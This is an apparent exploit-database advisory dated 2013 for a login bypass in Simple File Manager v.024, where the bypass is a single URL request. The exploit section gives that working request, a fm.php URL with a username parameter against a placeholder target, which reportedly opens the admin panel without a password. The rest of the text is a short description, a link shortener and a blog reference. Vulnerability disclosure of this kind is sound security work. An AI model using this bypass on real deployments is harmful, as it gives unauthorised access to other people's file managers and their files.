Simple File Manager v.024 - Login Bypass Vulnerability

# Exploit Title: Simple File Manager v.024 Login Bypass Vulnerability

# Date Published: 2013/6/17

# Exploit Author: Chako

# Software Link: http://onedotoh.sourceforge.net/

# Version: v.024 (Doesn't work on v.025)

Description:

=====================

A vulnerability has been identified in Simple File Manager v.024, which could be exploited

by attackers to bypass security restrictions into admin panel.

Exploit:

=====================

An attacker can exploit this issue using a browser.

http://www.target_example.com/fm.php?u=[UserName]




http://adf.ly/Qiskq

reff : http://googlepintar.blogspot.com/2013/06/simple-file-manager-v024-login-bypass.html